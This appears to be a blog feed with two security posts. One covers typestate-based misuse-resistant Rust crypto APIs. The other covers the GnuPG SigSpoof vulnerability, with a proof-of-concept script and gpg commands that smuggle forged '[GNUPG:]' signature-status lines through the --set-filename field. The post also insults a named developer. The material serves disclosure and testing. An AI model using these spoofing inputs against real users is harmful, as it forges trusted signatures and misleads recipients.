Patterns in the Voidhttps://blog.patternsinthevoid.net/2020-09-14T16:01:00+00:00Implementing As-Safe-As-Possible, Misuse-Resistant Cryptographic Libraries: Part I2020-09-14T16:01:00+00:002020-09-14T16:01:00+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2020-09-14:/implementing-as-safe-as-possible-misuse-resistant-cryptographic-libraries-part-i.html<!-- Image: /static/images/2015/12/card.jpeg --> <p>Over the years, I&#8217;ve discovered many techniques in learning how to design as-safe-as-possible, misuse-resistant cryptographic libraries for some fairly complex primitives, which I&#8217;d like to share in the hopes that we can continue to progress the state-of-the-art in cryptography towards greater safety at decreased cost to both cryptographers and security engineers. Time permitting, I hope to eventually turn this into a series of&nbsp;posts.</p> <p>The typestate pattern is one I&#8217;ve greatly appreciated but didn&#8217;t have a name for before reading <a href="proxy.php?url=http://cliffle.com/blog/rust-typestate/">this article</a>. I highly recommend reading it, and I won&#8217;t be reviewing it in detail here. The tl;dr is that you encode your state machine into a type system, such that invalid state changes are caught at compile time rather than&nbsp;runtime.</p> <p>Take, for example, this stubbed out implementation of a two-round distributed key generation&nbsp;protocol.</p> <pre class="prettyprint lang-rust"> use curve25519_dalek::ristretto::RistrettoPoint; use curve25519_dalek::scalar::Scalar; pub struct Commitment(pub(crate) RistrettoPoint); pub struct SecretKeyShard(pub(crate) Vec<Scalar>); pub struct PublicKeyShard(pub(crate) Scalar); pub struct ProofOfKnowledgeOfSecretKeyShard(pub(crate) Scalar, pub(crate) Scalar); impl ProofOfKnowledgeOfSecretKeyShard { /// Prove in zero-knowledge a secret key. pub fn prove( secret: &SecretKeyShard ) -> ProofOfKnowledgeOfSecretKeyShard { // ... } /// Verify a proof of knowledge of a secret key. pub fn verify( &self, ) -> Result<(), ()> { // ... } } pub struct DistributedKeyGeneration {}; impl DistributedKeyGeneration { /// Generate a shard of the eventual shared secret, and form some /// commitments and a zero-knowledge proof regarding those secrets, in order /// to prevent rogue-key attacks, and send the commitments and proof to the /// other participants for checking. pub fn round_one_init( ) -> (SecretKeyShard, ProofOfKnowledgeOfSecretKeyShard, Vec<Commitment>) { // ... } /// Check the commitments and proofs that were sent by the other participants. pub fn round_one_finish( proofs: &Vec<ProofOfKnowledgeOfSecretKeyShard>, ) -> Result<(), ()> { for proof in proofs.iter() { proof.verify()?; } // ... } /// Each participant uses their secret shard to evaluate a different shard /// of the eventual shared public key, which they send to each respective /// participant. pub fn round_two_init( secret: &SecretKeyShard, ) -> Vec<PublicKeyShard> { // ... } /// Verify the public shards received from the other participants, aborting /// on failure, then compute our long-lived signing key and a proof of its /// correctness. pub fn round_two_finish( secret: &SecretKeyShard, public_shards: &Vec<PublicKeyShard>, commitments: &Vec<Commitment>, ) -> Result<(), ()> { // ... } } </pre> <p>It&#8217;s already doing better than many cryptographic APIs I&#8217;ve seen in the&nbsp;wild:</p> <ul> <li> <p>Rather than passing around blobby arrays of bytes, it&#8217;s at least using the type system to do basic things, like ensuring that pieces of the secret key shards are kept separate and treated differently to the public key shards, even though they share the same underlying mathematical&nbsp;objects.</p> </li> <li> <p>It has basic documentation, stating what actions — outside the scope of this cryptographic library — should be done with the return values. (E.g. &#8220;send the commitments and proof to the other participants for&nbsp;checking&#8221;.)</p> </li> <li> <p>It attempts to use intuitive naming for types and variables, rather than condensing things in to nearly indecipherable acronyms, over — even worse — using inexplicable¹ single-letter function/variable&nbsp;names.</p> </li> </ul> <p>¹ <span class="caps">IMHO</span> it&#8217;s okay to use single-letter variable names when mirroring the names used in a paper, and leaving comments to make it clear what the object actually is, however in all likelihood this isn&#8217;t code that …</p><!-- Image: /static/images/2015/12/card.jpeg --> <p>Over the years, I&#8217;ve discovered many techniques in learning how to design as-safe-as-possible, misuse-resistant cryptographic libraries for some fairly complex primitives, which I&#8217;d like to share in the hopes that we can continue to progress the state-of-the-art in cryptography towards greater safety at decreased cost to both cryptographers and security engineers. Time permitting, I hope to eventually turn this into a series of&nbsp;posts.</p> <p>The typestate pattern is one I&#8217;ve greatly appreciated but didn&#8217;t have a name for before reading <a href="proxy.php?url=http://cliffle.com/blog/rust-typestate/">this article</a>. I highly recommend reading it, and I won&#8217;t be reviewing it in detail here. The tl;dr is that you encode your state machine into a type system, such that invalid state changes are caught at compile time rather than&nbsp;runtime.</p> <p>Take, for example, this stubbed out implementation of a two-round distributed key generation&nbsp;protocol.</p> <pre class="prettyprint lang-rust"> use curve25519_dalek::ristretto::RistrettoPoint; use curve25519_dalek::scalar::Scalar; pub struct Commitment(pub(crate) RistrettoPoint); pub struct SecretKeyShard(pub(crate) Vec<Scalar>); pub struct PublicKeyShard(pub(crate) Scalar); pub struct ProofOfKnowledgeOfSecretKeyShard(pub(crate) Scalar, pub(crate) Scalar); impl ProofOfKnowledgeOfSecretKeyShard { /// Prove in zero-knowledge a secret key. pub fn prove( secret: &SecretKeyShard ) -> ProofOfKnowledgeOfSecretKeyShard { // ... } /// Verify a proof of knowledge of a secret key. pub fn verify( &self, ) -> Result<(), ()> { // ... } } pub struct DistributedKeyGeneration {}; impl DistributedKeyGeneration { /// Generate a shard of the eventual shared secret, and form some /// commitments and a zero-knowledge proof regarding those secrets, in order /// to prevent rogue-key attacks, and send the commitments and proof to the /// other participants for checking. pub fn round_one_init( ) -> (SecretKeyShard, ProofOfKnowledgeOfSecretKeyShard, Vec<Commitment>) { // ... } /// Check the commitments and proofs that were sent by the other participants. pub fn round_one_finish( proofs: &Vec<ProofOfKnowledgeOfSecretKeyShard>, ) -> Result<(), ()> { for proof in proofs.iter() { proof.verify()?; } // ... } /// Each participant uses their secret shard to evaluate a different shard /// of the eventual shared public key, which they send to each respective /// participant. pub fn round_two_init( secret: &SecretKeyShard, ) -> Vec<PublicKeyShard> { // ... } /// Verify the public shards received from the other participants, aborting /// on failure, then compute our long-lived signing key and a proof of its /// correctness. pub fn round_two_finish( secret: &SecretKeyShard, public_shards: &Vec<PublicKeyShard>, commitments: &Vec<Commitment>, ) -> Result<(), ()> { // ... } } </pre> <p>It&#8217;s already doing better than many cryptographic APIs I&#8217;ve seen in the&nbsp;wild:</p> <ul> <li> <p>Rather than passing around blobby arrays of bytes, it&#8217;s at least using the type system to do basic things, like ensuring that pieces of the secret key shards are kept separate and treated differently to the public key shards, even though they share the same underlying mathematical&nbsp;objects.</p> </li> <li> <p>It has basic documentation, stating what actions — outside the scope of this cryptographic library — should be done with the return values. (E.g. &#8220;send the commitments and proof to the other participants for&nbsp;checking&#8221;.)</p> </li> <li> <p>It attempts to use intuitive naming for types and variables, rather than condensing things in to nearly indecipherable acronyms, over — even worse — using inexplicable¹ single-letter function/variable&nbsp;names.</p> </li> </ul> <p>¹ <span class="caps">IMHO</span> it&#8217;s okay to use single-letter variable names when mirroring the names used in a paper, and leaving comments to make it clear what the object actually is, however in all likelihood this isn&#8217;t code that should be exposed to a security&nbsp;engineer.</p> <p>So how could it be&nbsp;better?</p> <p>This is precisely where the typestate pattern shines. The above code would allow a developer to&nbsp;do:</p> <pre class="prettyprint lang-rust"> let (secret, nipk_of_secret, commitments) = DistributedKeyGeneration::round_one(); send_to_participants(nipk_of_secret, commitments); let public = DistributedKeyGeneration::round_two_init(&secret); </pre> <p>Depending on the specifics of the protocol, skipping the call to <code>DistributedKeyGeneration::round_one_finish()</code> allows for a <a href="proxy.php?url=https://eprint.iacr.org/2018/417">rogue-key attack</a>, where a rogue participant creates a crafted public key shard which negates the contribution to a signature from the targeted other&nbsp;participant(s).</p> <p>Let&#8217;s see instead how this known attack could be eliminated entirely <i>by making it discoverable at compile-time</i>.</p> <pre class="prettyprint lang-rust"> use curve25519_dalek::ristretto::RistrettoPoint; use curve25519_dalek::scalar::Scalar; pub struct Commitment(pub(crate) RistrettoPoint); pub struct SecretKeyShard(pub(crate) Vec<Scalar>); pub struct PublicKeyShard(pub(crate) Scalar); pub struct ProofOfKnowledgeOfSecretKeyShard(pub(crate) Scalar, pub(crate) Scalar); impl ProofOfKnowledgeOfSecretKeyShard { /// Prove in zero-knowledge a secret key. pub fn prove( secret: &SecretKeyShard ) -> ProofOfKnowledgeOfSecretKeyShard { // ... } /// Verify a proof of knowledge of a secret key. pub fn verify( &self, ) -> Result<(), ()> { // ... } } pub type DistributeKeyGenerationState = DistributedKeyGenerationRound1; pub struct DistributedKeyGenerationRound1 { pub(crate) secret_shards: SecretKeyShard, pub proof: ProofOfKnowledgeOfSecretKeyShard, pub commitments: Vec<Commitment>, }; impl DistributedKeyGenerationRound1 { /// Generate a shard of the eventual shared secret, and form some /// commitments and a zero-knowledge proof regarding those secrets, in order /// to prevent rogue-key attacks, and send the commitments and proof to the /// other participants for checking. pub fn init( ) -> DistributedKeyGenerationRound1 { // ... } /// Check the commitments and proofs that were sent by the other participants. /// Only progress to round 2 if the verifications passed. pub fn progress( &self, proofs: &Vec<ProofOfKnowledgeOfSecretKeyShard>, ) -> Result<DistributedKeyGenerationRound2, ()> { for proof in proofs.iter() { proof.verify()?; } // ... Ok(DistributedKeyGenerationRound2a{ secret_shards: self.secret_shards.clone() } } } pub struct DistributedKeyGenerationRound2a { pub(crate) secret_shards: SecretKeyShard, } impl DistributedKeyGenerationRound2a { /// Each participant uses their secret shard to evaluate a different shard /// of the eventual shared public key, which they send to each respective /// participant. pub fn progress( &self, ) -> DistributedKeyGenerationRound2b { // ... } } pub struct DistributedKeyGenerationRound2b { pub(crate) secret_shards: SecretKeyShard, pub public_shards: Vec<PublicKeyShard>, } impl DistributedKeyGenerationRound2b { /// Verify the public shards received from the other participants, aborting /// on failure, then compute our long-lived signing key and a proof of its /// correctness. pub fn finish( &self, ) -> GroupPublicKey { // ... } } pub struct GroupPublicKey(pub RistrettoPoint); </pre> <p>With these changes, the code of a security developer would likely look more like&nbsp;this:</p> <pre class="prettyprint lang-rust"> let state = DistributedKeyGeneration::init(); let proofs = collect_proofs_from_other_participants(); let state = state.progress(&proofs)?.progress(); send_public_shards_to_other_participants(state.public_shards); let group_public_key = state.progress(); </pre> <p>If any of the state machine update functions are ever called without the correct context, the compiler catches the mistake, thus enforcing safety against cryptographic attacks before they&nbsp;occur.</p> <p>This is, albeit, a pretty trivial and simple toy example. There are many other things we could do with a decent type system to improve this code, including but not limited&nbsp;to:</p> <ul> <li> <p>Providing a <code>RoundTwo</code> trait for genericising over the two typestates in the second round of the&nbsp;protocol.</p> </li> <li> <p>Using the <a href="proxy.php?url=https://rust-lang.github.io/api-guidelines/future-proofing.html#sealed-traits-protect-against-downstream-implementations-c-sealed">the sealed design pattern</a> to prevent third parties from creating further implementations of valid <code>RoundTwo</code> states.</p> </li> <li> <p>Avoiding repeated <code>clone()</code>/<code>copy()</code> of data in the state machine (e.g. the <code>secret_shards</code> which get copied multiple times in the above example) by abusing yet another empty trait which is implemented for all typestates to store the actual state in a heap-allocated pointer (e.g. <code>Box&lt;ActualState&gt;</code>) which is copied&nbsp;instead.</p> </li> </ul> <p>If you&#8217;d like to see a more complex example of these design patterns all put together, I have <a href="proxy.php?url=https://github.com/isislovecruft/ed25519-dalek/blob/9e44fb1c6e060bce9e54480ce1c7387d13c17b75/src/state.rs">a rough draft implementation</a> of the <span class="caps">MSDL</span> protocol from <a href="proxy.php?url=https://eprint.iacr.org/2018/483">&#8220;Compact Multi-Signatures for Smaller Blockchains&#8221;</a> by Boneh, Drijvers, and&nbsp;Neven.</p> <!-- further post ideas: * two sets of documentation, or documentation in general, eg. never write a doctext you're not okay with someone copy-pasting -->Pretty Bad {Protocol,People}2018-06-13T15:29:00+00:002018-06-13T20:55:00+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2018-06-13:/pretty-bad-protocolpeople.html <p><strong>tl;dr:</strong> This vulnerability affects GnuPG and several plugins and wrapper libraries, including <a href="proxy.php?url=https://bitbucket.org/vinay.sajip/python-gnupg/">Vinay Sajip&#8217;s</a> &#8220;python-gnupg&#8221; which I <a href="proxy.php?url=https://github.com/isislovecruft/python-gnupg">rewrote</a> many years ago after finding a shell injection vulnerability in his code. His code is vulnerable to SigSpoof; mine&nbsp;isn&#8217;t.</p> <p>Markus Brinkmann, a NeoPG developer, <a href="proxy.php?url=https://neopg.io/blog/gpg-signature-spoof/">wrote about a recent signature spoofing vulnerability</a> in GnuPG which carried over into several downstream plugins and wrapper libraries—largely due to GnuPG&#8217;s interface design which uses file descriptors, and only file descriptors, to speak a custom, potentially binary but often ascii, order dependent line protocol, whose line order, keywords, number of fields, and other details are subject to change between minor point versions of GnuPG. If that sounds like a special hell invented by some sort of unholy crossing between <span class="caps">RMS</span> and a rabid howler monkey: welcome to working with (or rather, more likely, around) the Terrible Idea Generator known as the GnuPG development&nbsp;team.</p> <p>As previously mentioned, while working with Riseup¹ folks on a project, we found a shell injection vulnerability in <a href="proxy.php?url=https://bitbucket.org/vinay.sajip/python-gnupg/">Vinay Sajip&#8217;s python-gnupg module</a> (the one that installs if you do <code>pip install python-gnupg</code>; mine installs with <code>pip install gnupg</code>). The fix was <em>not</em> merely to remove <code>shell=True</code> argument passed to a call to <code>subprocess.Popen()</code> as Vinay believed (and continues to believe)—but instead, to <a href="proxy.php?url=https://github.com/isislovecruft/python-gnupg/blob/e82eb20d70d874b68858ccb686318ef3c1c07c8b/gnupg/_parsers.py#L127">sanitise all inputs</a> and <a href="proxy.php?url=https://github.com/isislovecruft/python-gnupg/blob/e82eb20d70d874b68858ccb686318ef3c1c07c8b/gnupg/_parsers.py#L246">whitelist available options</a>. There are hundreds of flags to the gnupg binary. Some flags and options are safe. Others can be, if you carefully sanitise their arguments. Others must be disallowed&nbsp;entirely.</p> <p><a href="proxy.php?url=https://github.com/isislovecruft/python-gnupg">My python-gnupg module</a> isn&#8217;t vulnerable to SigSpoof, for several&nbsp;reasons:</p> <ol> <li> <p><code>--no-options</code> is passed by default. So if you&#8217;ve got something stupid in your <code>gpg.conf</code> file, you&#8217;ll still be fine while using my Python&nbsp;module.</p> </li> <li> <p><code>--verbose</code> is not passed. This means that my library doesn&#8217;t have to wade throught a mixture of strange stderr and GnuPG status-fd messages on the same file descriptor. You <em>could</em> pass <code>--verbose</code> to it manually, as it is in the list of allowable, whitelisted options, but the exploit still won&#8217;t work, which brings us to our next&nbsp;point:</p> </li> <li> <p>All inputs to, and outputs from, the gnupg binary are sanitised and then forced to conform to whitelists. This means that, even if you did pass <code>--verbose</code> manually, the filename trick won&#8217;t work because there&#8217;s no way to safely sanitise a filename, because filenames may be arbitrary&nbsp;bytes.</p> </li> </ol> <p>Amusingly, the <a href="proxy.php?url=https://gnupg.readthedocs.io/en/0.4.3/">front page</a> of Vinay&#8217;s current documentation&nbsp;states:</p> <p></p> <span style="align:left; float:left; width:100%;"> <table style="float:left; clear:left; width:100%; margin: 1px;"> <tbody> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2018/06/vinays-python-warning.png"> <img alt="" style="width: 500px;" src="proxy.php?url=./static/images/2018/06/vinays-python-warning.png" /> </a> </td> </tr> </tbody> </table> </span> </p><br /><p></p> <p>Which beautifully demonstrates that Vinay still doesn&#8217;t understand the original bug report. Additionally, not a single line of his original code remains unchanged, as the bulk of it was badly written and contained hidden&nbsp;landmines.</p> <p>At the time I pointed out the vulnerability, Vinay argued that it wasn&#8217;t a bug until a working exploit for a Bitcoin exchange C&amp;C server, which was unfortunately running his code, was released. Vinay released several versions of his library at the time, <a href="proxy.php?url=http://seclists.org/oss-sec/2014/q1/243">without making the version controlled repo …</a></p> <p><strong>tl;dr:</strong> This vulnerability affects GnuPG and several plugins and wrapper libraries, including <a href="proxy.php?url=https://bitbucket.org/vinay.sajip/python-gnupg/">Vinay Sajip&#8217;s</a> &#8220;python-gnupg&#8221; which I <a href="proxy.php?url=https://github.com/isislovecruft/python-gnupg">rewrote</a> many years ago after finding a shell injection vulnerability in his code. His code is vulnerable to SigSpoof; mine&nbsp;isn&#8217;t.</p> <p>Markus Brinkmann, a NeoPG developer, <a href="proxy.php?url=https://neopg.io/blog/gpg-signature-spoof/">wrote about a recent signature spoofing vulnerability</a> in GnuPG which carried over into several downstream plugins and wrapper libraries—largely due to GnuPG&#8217;s interface design which uses file descriptors, and only file descriptors, to speak a custom, potentially binary but often ascii, order dependent line protocol, whose line order, keywords, number of fields, and other details are subject to change between minor point versions of GnuPG. If that sounds like a special hell invented by some sort of unholy crossing between <span class="caps">RMS</span> and a rabid howler monkey: welcome to working with (or rather, more likely, around) the Terrible Idea Generator known as the GnuPG development&nbsp;team.</p> <p>As previously mentioned, while working with Riseup¹ folks on a project, we found a shell injection vulnerability in <a href="proxy.php?url=https://bitbucket.org/vinay.sajip/python-gnupg/">Vinay Sajip&#8217;s python-gnupg module</a> (the one that installs if you do <code>pip install python-gnupg</code>; mine installs with <code>pip install gnupg</code>). The fix was <em>not</em> merely to remove <code>shell=True</code> argument passed to a call to <code>subprocess.Popen()</code> as Vinay believed (and continues to believe)—but instead, to <a href="proxy.php?url=https://github.com/isislovecruft/python-gnupg/blob/e82eb20d70d874b68858ccb686318ef3c1c07c8b/gnupg/_parsers.py#L127">sanitise all inputs</a> and <a href="proxy.php?url=https://github.com/isislovecruft/python-gnupg/blob/e82eb20d70d874b68858ccb686318ef3c1c07c8b/gnupg/_parsers.py#L246">whitelist available options</a>. There are hundreds of flags to the gnupg binary. Some flags and options are safe. Others can be, if you carefully sanitise their arguments. Others must be disallowed&nbsp;entirely.</p> <p><a href="proxy.php?url=https://github.com/isislovecruft/python-gnupg">My python-gnupg module</a> isn&#8217;t vulnerable to SigSpoof, for several&nbsp;reasons:</p> <ol> <li> <p><code>--no-options</code> is passed by default. So if you&#8217;ve got something stupid in your <code>gpg.conf</code> file, you&#8217;ll still be fine while using my Python&nbsp;module.</p> </li> <li> <p><code>--verbose</code> is not passed. This means that my library doesn&#8217;t have to wade throught a mixture of strange stderr and GnuPG status-fd messages on the same file descriptor. You <em>could</em> pass <code>--verbose</code> to it manually, as it is in the list of allowable, whitelisted options, but the exploit still won&#8217;t work, which brings us to our next&nbsp;point:</p> </li> <li> <p>All inputs to, and outputs from, the gnupg binary are sanitised and then forced to conform to whitelists. This means that, even if you did pass <code>--verbose</code> manually, the filename trick won&#8217;t work because there&#8217;s no way to safely sanitise a filename, because filenames may be arbitrary&nbsp;bytes.</p> </li> </ol> <p>Amusingly, the <a href="proxy.php?url=https://gnupg.readthedocs.io/en/0.4.3/">front page</a> of Vinay&#8217;s current documentation&nbsp;states:</p> <p></p> <span style="align:left; float:left; width:100%;"> <table style="float:left; clear:left; width:100%; margin: 1px;"> <tbody> <tr> <td style="text-align:center; padding: 1px;"> <a href="proxy.php?url=./static/images/2018/06/vinays-python-warning.png"> <img alt="" style="width: 500px;" src="proxy.php?url=./static/images/2018/06/vinays-python-warning.png" /> </a> </td> </tr> </tbody> </table> </span> </p><br /><p></p> <p>Which beautifully demonstrates that Vinay still doesn&#8217;t understand the original bug report. Additionally, not a single line of his original code remains unchanged, as the bulk of it was badly written and contained hidden&nbsp;landmines.</p> <p>At the time I pointed out the vulnerability, Vinay argued that it wasn&#8217;t a bug until a working exploit for a Bitcoin exchange C&amp;C server, which was unfortunately running his code, was released. Vinay released several versions of his library at the time, <a href="proxy.php?url=http://seclists.org/oss-sec/2014/q1/243">without making the version controlled repo available</a>, meaning that for each new version he claimed to have &#8220;fixed the bug&#8221;, I had to diff the tarballs to discover, unsurprisingly, that he had, in fact,&nbsp;not.</p> <p>I find it difficult to convey how thoroughly unimpressed I am with men like Vinay. I volunteered the work, handed him an explanation and a solution, and was ridiculed, told I was wrong, that I didn&#8217;t understand, and ignored. He&#8217;s still never credited me by name anywhere for finding the original bug. Men like this make me want to go write closed source code that none of you will ever see, just so that I never have to deal with these <span class="caps">GNU</span>/Beardos ever again. Have fun with the bugs, Vinay, they&#8217;ll certainly keep&nbsp;coming.</p> <h1>Test it&nbsp;yourself</h1> <p><a href="proxy.php?url=https://gist.github.com/5050d4e5a2d5f23ebf3471dd711e329b">Here is a script</a> which will print the status-fd output of GnuPG and test a spoofed signature (PoC #1), a spoofed signature plus a falsely encrypted (i.e. appears to have been encrypted to the user, when in fact no encryption was used) message (PoC #2), and an additional method for signature spoofing (PoC&nbsp;#3):</p> <pre class="prettyprint lang-py"> #!/usr/bin/env python # # Test whether python-gnupg (https://github.com/isislovecruft/python-gnupg), # is vulnerable to SigSpoof. # # Authors: isis agora lovecruft <[email protected]> from __future__ import print_function import gnupg # Set the gnupg log level to `--debug-level=guru` (lmao). log = gnupg._logger.create_logger(9) log.setLevel(9) # Create our gpg instance gpg = gnupg.GPG(binary="/usr/bin/gpg2") poc1msg = '''\ -----BEGIN PGP MESSAGE----- hQIMAwxKj89n7yVcARAAkhbztv+rjtUZx4rSqpvlj8a9g+y+8ZOY8JhBFvJzVAXe tnBNDGmIAc9I9ewRgxwsgcCIlUuGYCSgFugWLYVPD+e0tyQwx76mpMZc5wqAMows mk2pavdYMD2FGePY9mCVDvpC8ldumVn2dgT0k2IIOVr8w29CRgzP8ONwAyFFr4Gw hZ82e+CLKMFOv7Aigp00D1esurNTzFN5MDJZqhQtPpXawexUjrl5GEsPtKLDkKyt iOR5HauLLlDPZJXhHqwrqbSKTpKJU9lztmFp3XVom6VgeCiHWcL0mYF2fcbzfJS/ CjDFZqFmFPGUJSpdgDcGEGsalzk6o8RFtUvvmKtQLN9BglpYkyPXQiO8vCyS4xiN D0gjBxVSvvkdS7734FYxePkUDEOTQbPuJ+FzgMN6Jpp8hVopYbefVcU5bNIY4H2P 9EAHgvX1AT+VtPPt0JxzQ5/UdXK5KE7O7zUtTJIkXd4hGFpWyZp8hTUEgqLHfHUw Qlso2hQ+xgqok1ruGRjYk7n48Uw89jYpBXCOJerZeQGrmGWEkuf1vonFVwddM/4p msPN9I6Ahf+Uth+U5rFO4Y2G5fk83saa6ZfM9qdZKgLLEOgXmyycAdSAq/vRRe1G z9W77qcuIdhi2dA6+CJBqkm97aYNvoQ4Mxt97e7nP5WijXwugumdMQ7oT1upIsbS wFQBov2rvuwWsqrw+kbPD+zedi0NP31BohjiEhBamohGkkh8gr4hPmiyJdm0TIfh GBo5z35kRQiJZ9DwmgxE+LnVWQvChEJt0NFuC5FqM5bBaOjR5b2QsYn5uZ5AnVTa OZj5HBaaZQqZod5FrGpVpmXG2+RThge8dCbx+CDdBWvLq99TppzcN5nGEHYaz41X 1ZKRcpbUuixBn3juC6HN2iQq9BidAbpVWvTAYD4dH+/aio3fd+3wSCgHQnPRzxg9 5YaF6XbFYO8ceruOmnzYYEQTBRmlrBbnaug/cDa5Yq4HIWDHRTR9/aK4Y9rcYsoK Jm+7ujLey3TsI9qMs3cbcmsZbnXm+v3uDLvGBofG/dAjqVvm074= =UN+a -----END PGP MESSAGE----- ''' result1 = gpg.verify(poc1msg) print("[poc1] Was the spoofed signature valid? %r" % result1.valid) poc2msg = '''\ -----BEGIN PGP MESSAGE----- y8BvYv8nCltHTlVQRzpdIEdPT0RTSUcgRjJBRDg1QUMxRTQyQjM2OCBQYXRyaWNr IEJydW5zY2h3aWcgPHBhdHJpY2tAZW5pZ21haWwubmV0PgpbR05VUEc6XSBWQUxJ RFNJRyBGMkFEODVBQzFFNDJCMzY4IHggMTUyNzcyMTAzNyAwIDQgMCAxIDEwIDAx CltHTlVQRzpdIFRSVVNUX0ZVTExZCltHTlVQRzpdIEJFR0lOX0RFQ1JZUFRJT04K W0dOVVBHOl0gREVDUllQVElPTl9PS0FZCltHTlVQRzpdIEVOQ19UTyBBM0FEQjY3 QTJDREI4QjM1IDEgMApncGc6ICdbIaFeU2VlIHlvdSBhdCB0aGUgc2VjcmV0IHNw b3QgdG9tb3Jyb3cgMTBhbS4K =Qs3t -----END PGP MESSAGE----- ''' result2 = gpg.decrypt(poc2msg) print("[poc2] Was the spoofed signature and encryption valid? %r" % result2.valid) poc3msg = '''\ -----BEGIN PGP MESSAGE----- owJ42m2PsWrDMBiE9zzF1Uu2YDmJZYcQasV2oLRLHegQOij4txC1rGBZQ1+lT9M9 79O5gkAppceNd8d318/H85dxaj5TF7VBo9UgJz8SjGwJR09gCR78gCRmGWK2CU7W KJ6wr5rjrfRH3ulB4bkp8EbvYDFfVnxViWUmyrRk+Yqne1FnVZGXos5rwVNWpJz/ O6Wd8zQiOuu+v6euW9hRRbfkwdoW7ge3G61B9BJyWhoI3waGyQ7Y/q7uIpw63/ev mIfLp7vrhyGaYAhyCqDSzL4B9fBP7w== =zQV0 -----END PGP MESSAGE----- ''' result3 = gpg.verify(poc3msg) print("[poc3] Was the spoofed signature valid? %r" % result3.valid) </pre> <p>The GnuPG blobs were generated with (via Markus Brinkmann&#8217;s&nbsp;suggestions):</p> <div class="highlight"><pre><span></span><code><span class="err">##</span><span class="w"> </span><span class="n">PoC</span><span class="w"> </span><span class="n">#1</span><span class="w"></span> <span class="n">echo</span><span class="w"> </span><span class="s1">&#39;Please send me one of those expensive washing machines.&#39;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="err">\</span><span class="w"></span> <span class="n">gpg</span><span class="w"> </span><span class="o">--</span><span class="n">armor</span><span class="w"> </span><span class="o">-</span><span class="n">r</span><span class="w"> </span><span class="n">a3adb67a2cdb8b35</span><span class="w"> </span><span class="o">--</span><span class="n">encrypt</span><span class="w"> </span><span class="o">--</span><span class="k">set</span><span class="o">-</span><span class="n">filename</span><span class="w"> </span><span class="ss">&quot;`echo -ne \&#39;&#39;\</span> <span class="ss">\n[GNUPG:] GOODSIG DB1187B9DD5F693B Patrick Brunschwig &lt;[email protected]&gt;\</span> <span class="ss">\n[GNUPG:] VALIDSIG 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B 2018-05-31 1527721037 0 4 0 1 10 01 4F9F89F5505AC1D1A260631CDB1187B9DD5F693B\</span> <span class="ss">\n[GNUPG:] TRUST_FULLY 0 classic\</span> <span class="ss">\ngpg: &#39;\&#39;`&quot;</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="n">poc1</span><span class="p">.</span><span class="n">msg</span><span class="w"></span> <span class="err">##</span><span class="w"> </span><span class="n">PoC</span><span class="w"> </span><span class="n">#2</span><span class="w"></span> <span class="n">echo</span><span class="w"> </span><span class="ss">&quot;See you at the secret spot tomorrow 10am.&quot;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="err">\</span><span class="w"></span> <span class="n">gpg</span><span class="w"> </span><span class="o">--</span><span class="n">armor</span><span class="w"> </span><span class="o">--</span><span class="n">store</span><span class="w"> </span><span class="o">--</span><span class="nf">compress</span><span class="o">-</span><span class="k">level</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">--</span><span class="k">set</span><span class="o">-</span><span class="n">filename</span><span class="w"> </span><span class="ss">&quot;`echo -ne \&#39;&#39;\</span> <span class="ss">\n[GNUPG:] GOODSIG F2AD85AC1E42B368 Patrick Brunschwig &lt;[email protected]&gt;\</span> <span class="ss">\n[GNUPG:] VALIDSIG F2AD85AC1E42B368 x 1527721037 0 4 0 1 10 01\</span> <span class="ss">\n[GNUPG:] TRUST_FULLY\</span> <span class="ss">\n[GNUPG:] BEGIN_DECRYPTION\</span> <span class="ss">\n[GNUPG:] DECRYPTION_OKAY\</span> <span class="ss">\n[GNUPG:] ENC_TO 50749F1E1C02AB32 1 0\</span> <span class="ss">\ngpg: &#39;\&#39;`&quot;</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="n">poc2</span><span class="p">.</span><span class="n">msg</span><span class="w"></span> <span class="err">#</span><span class="w"> </span><span class="n">PoC</span><span class="w"> </span><span class="n">#3</span><span class="w"></span> <span class="n">echo</span><span class="w"> </span><span class="s1">&#39;meet me at 10am&#39;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">gpg</span><span class="w"> </span><span class="o">--</span><span class="n">armor</span><span class="w"> </span><span class="o">--</span><span class="n">store</span><span class="w"> </span><span class="o">--</span><span class="k">set</span><span class="o">-</span><span class="n">filename</span><span class="w"> </span><span class="ss">&quot;`echo -ne msg\&#39;&#39;\</span> <span class="ss">\ngpg: Signature made Tue 12 Jun 2018 01:01:25 AM CEST\</span> <span class="ss">\ngpg: using RSA key 1073E74EB38BD6D19476CBF8EA9DBF9FB761A677\</span> <span class="ss">\ngpg: issuer &quot;</span><span class="n">bill</span><span class="nv">@eff</span><span class="p">.</span><span class="n">org</span><span class="ss">&quot;\</span> <span class="ss">\ngpg: Good signature from &quot;</span><span class="n">William</span><span class="w"> </span><span class="n">Budington</span><span class="w"> </span><span class="o">&lt;</span><span class="n">bill</span><span class="nv">@eff</span><span class="p">.</span><span class="n">org</span><span class="o">&gt;</span><span class="ss">&quot; [full]</span> <span class="ss">&#39;\&#39;&#39;msg&#39;`&quot;</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="n">poc3</span><span class="p">.</span><span class="n">msg</span><span class="w"></span> </code></pre></div> <p>Again, not vulnerable, for all the reasons described&nbsp;above.</p> <p>Additionally, if Vinay would have actually understood and fixed the root cause of the original shell injection vulnerability six years ago, his library likely wouldn&#8217;t be vulnerable, yet again, today. But of course, the GnuPG community, just like upstream, <a href="proxy.php?url=https://twitter.com/isislovecruft/status/811502983615840256">really only takes patches from men</a>, so it&#8217;s neither my problem nor concern that they seem to continually discover new and innovative ways to fuck themselves and their users&nbsp;over.</p> <h1>Please&nbsp;don&#8217;t</h1> <p>If you&#8217;re a developer thinking of making a new tool or product based on the OpenPGP protocol: please don&#8217;t. Literally use anything else. I wrote my version of python-gnupg because, at the time, the project I worked on wanted to make transparently encrypting remailers, i.e. middleware boxes run by an email service provider which users register their encryption keys with, which would—upon seeing a plaintext email to another of the provider&#8217;s users—automatically encrypt the email to the user. We used GnuPG for this. This was a mistake, in my opinion, and if I had to do the project again, I would do it 